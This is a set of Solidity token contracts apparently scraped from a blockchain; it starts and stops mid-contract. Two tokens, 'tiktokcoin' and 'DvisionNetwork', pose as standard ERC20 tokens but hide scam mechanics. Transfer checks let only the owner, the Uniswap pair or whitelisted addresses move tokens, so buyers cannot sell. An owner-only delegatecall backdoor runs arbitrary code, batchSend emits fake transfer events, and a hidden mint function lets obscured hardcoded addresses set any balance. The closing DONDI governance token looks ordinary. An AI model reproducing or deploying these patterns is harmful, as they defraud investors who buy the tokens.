sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract tiktokcoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract DvisionNetwork { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity 0.5.17; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Storage for a DONDI token contract DONDITokenStorage { using SafeMath for uint256; /** * @dev Guard variable for re-entrancy checks. Not currently used */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Governor for this contract */ address public gov; /** * @notice Pending governance for this contract */ address public pendingGov; /** * @notice Approved rebaser for this contract */ address public rebaser; mapping(address => bool) public minter; /** * @notice Reserve address of DONDI protocol */ address public incentivizer; /** * @notice Total supply of DONDIs */ uint256 public totalSupply; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**24; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**18; /** * @notice Scaling factor that adjusts everyone's balances */ uint256 public dondisScalingFactor; mapping (address => uint256) internal _dondiBalances; mapping (address => mapping (address => uint256)) internal _allowedFragments; uint256 public initSupply; } contract DONDIGovernanceStorage { /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; } contract DONDITokenInterface is DONDITokenStorage, DONDIGovernanceStorage { /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Event emitted when tokens are rebased */ event Rebase(uint256 epoch, uint256 prevDondisScalingFactor, uint256 newDondisScalingFactor); /*** Gov Events ***/ /** * @notice Event emitted when pendingGov is changed */ event NewPendingGov(address oldPendingGov, address newPendingGov); /** * @notice Event emitted when gov is changed */ event NewGov(address oldGov, address newGov); /** * @notice Sets the rebaser contract */ event NewRebaser(address oldRebaser, address newRebaser); /** * @notice Sets the incentivizer contract */ event NewIncentivizer(address oldIncentivizer, address newIncentivizer); event NewMinter(address newMinter); event RemoveMinter(address removeMinter); /* - ERC20 Events - */ /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /* - Extra Events - */ /** * @notice Tokens minted event */ event Mint(address to, uint256 amount); // Public functions function transfer(address to, uint256 value) external returns(bool); function transferFrom(address from, address to, uint256 value) external returns(bool); function balanceOf(address who) external view returns(uint256); function balanceOfUnderlying(address who) external view returns(uint256); function allowance(address owner_, address spender) external view returns(uint256); function approve(address spender, uint256 value) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function maxScalingFactor() external view returns (uint256); /* - Governance Functions - */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256); function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external; function delegate(address delegatee) external; function delegates(address delegator) external view returns (address); function getCurrentVotes(address account) external view returns (uint256); /* - Permissioned/Governance functions - */ function mint(address to, uint256 amount) external returns (bool); function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); function _setRebaser(address rebaser_) external; function _setIncentivizer(address incentivizer_) external; function _setMinter(address minter_) external; function _setPendingGov(address pendingGov_) external; function _acceptGov() external; } contract DONDIGovernanceToken is DONDITokenInterface { /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "DONDI::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "DONDI::delegateBySig: invalid nonce"); require(now <= expiry, "DONDI::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "DONDI::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = _dondiBalances[delegator]; // balance of underlying DONDIs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "DONDI::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } contract DONDIToken is DONDIGovernanceToken { // Modifiers modifier onlyGov() { require(msg.sender == gov); _; } modifier onlyRebaser() { require(msg.sender == rebaser); _; } modifier onlyMinter() { require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov || minter[msg.sender] == true, "not minter"); _; } modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } function initialize( string memory name_, string memory symbol_, uint8 decimals_ ) public { require(dondisScalingFactor == 0, "already initialized"); name = name_; symbol = symbol_; decimals = decimals_; } /** * @notice Computes the current max scaling factor */ function maxScalingFactor() external view returns (uint256) { return _maxScalingFactor(); } function _maxScalingFactor() internal view returns (uint256) { // scaling factor can only go up to 2**256-1 = initSupply * dondisScalingFactor // this is used to check if dondisScalingFactor will be too high to compute balances when rebasing. return uint256(-1) / initSupply; } /** * @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance. * @dev Limited to onlyMinter modifier */ function mint(address to, uint256 amount) external onlyMinter returns (bool) { _mint(to, amount); return true; } function _mint(address to, uint256 amount) internal { // increase totalSupply totalSupply = totalSupply.add(amount); // get underlying value uint256 dondiValue = amount.mul(internalDecimals).div(dondisScalingFactor); // increase initSupply initSupply = initSupply.add(dondiValue); // make sure the mint didnt push maxScalingFactor too low require(dondisScalingFactor <= _maxScalingFactor(), "max scaling factor too low"); // add balance _dondiBalances[to] = _dondiBalances[to].add(dondiValue); // add delegates to the minter _moveDelegates(address(0), _delegates[to], dondiValue); emit Mint(to, amount); } /* - ERC20 functionality - */ /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) external validRecipient(to) returns (bool) { // underlying balance is stored in dondis, so divide by current scaling factor // note, this means as scaling factor grows, dust will be untransferrable. // minimum transfer value == dondisScalingFactor / 1e24; // get amount in underlying uint256 dondiValue = value.mul(internalDecimals).div(dondisScalingFactor); // sub from balance of sender _dondiBalances[msg.sender] = _dondiBalances[msg.sender].sub(dondiValue); // add to balance of receiver _dondiBalances[to] = _dondiBalances[to].add(dondiValue); emit Transfer(msg.sender, to, value); _moveDelegates(_delegates[msg.sender], _delegates[to], dondiValue); return true; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) external validRecipient(to) returns (bool) { // decrease allowance _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); // get value in dondis uint256 dondiValue = value.mul(internalDecimals).div(dondisScalingFactor); // sub from from _dondiBalances[from] = _dondiBalances[from].sub(dondiValue); _dondiBalances[to] = _dondiBalances[to].add(dondiValue); emit Transfer(from, to, value); _moveDelegates(_delegates[from], _delegates[to], dondiValue); return true; } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) external view returns (uint256) { return _dondiBalances[who].mul(dondisScalingFactor).div(internalDecimals); } /** @notice Currently returns the internal storage amount * @param who The address to query. * @return The underlying balance of the specified address. */ function balanceOfUnderlying(address who) external view returns (uint256) { return _dondiBalances[who]; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) external view returns (uint256) { return _allowedFragments[owner_][spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external returns (bool) { 